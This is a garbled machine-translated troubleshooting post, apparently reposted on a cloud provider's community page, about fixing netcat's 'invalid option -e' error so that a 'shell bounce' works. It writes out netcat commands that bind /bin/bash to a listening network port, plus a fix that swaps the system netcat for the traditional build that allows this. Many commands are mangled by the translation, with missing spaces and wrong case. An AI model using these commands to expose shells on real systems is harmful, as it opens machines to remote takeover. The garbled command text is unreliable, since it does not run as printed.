Nc:invalid option-' E ' ERROR resolution

Source: Internet
Author: User

An error occurred while NC bounced the shell

Nc:invalid option-' e '

This is NC from the NETCAT-OPENBSD package. An alternative NC is available

In the Netcat-traditional package.

Here is the idea of repair

$ which NC

/bin/nc

$ ls-ld/bin/nc

lrwxrwxrwx 1 root root 20 October 2012/bin/nc->/ETC/ALTERNATIVES/NC

$ ls-ld/etc/alternatives/nc

lrwxrwxrwx 1 root 19 February 10:03/etc/alternatives/nc->/bin/nc.traditional

Actually, this is a file we're looking for./bin/nc.traditional:

$/bin/nc.openbsd-l-P 9999-E/bin/bash

/bin/nc.openbsd:invalid option--' e '

USAGE:NC [ -46DDHKLNRSTUUVZC] [-I interval] [-P proxy_username] [P-Source_port]

[-S source_ip_address] [t ToS] [-w timeout] [-X Proxy_protocol]

[-X proxy_address[:p ORT]] [hostname] [Port[s]]

$/bin/nc.traditional-l-P 9999-E/bin/bash

^c

$

Combined with the above output message, we can fix it by following this command:

$ sudo rm/etc/alternatives/nc && sudo ln-s/bin/nc.traditional/etc/alternatives/nc

Repair and try again, no error prompted the shell bounce success!

$ nc-l 192.168.2.180-p 12345-e/bin/bash

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.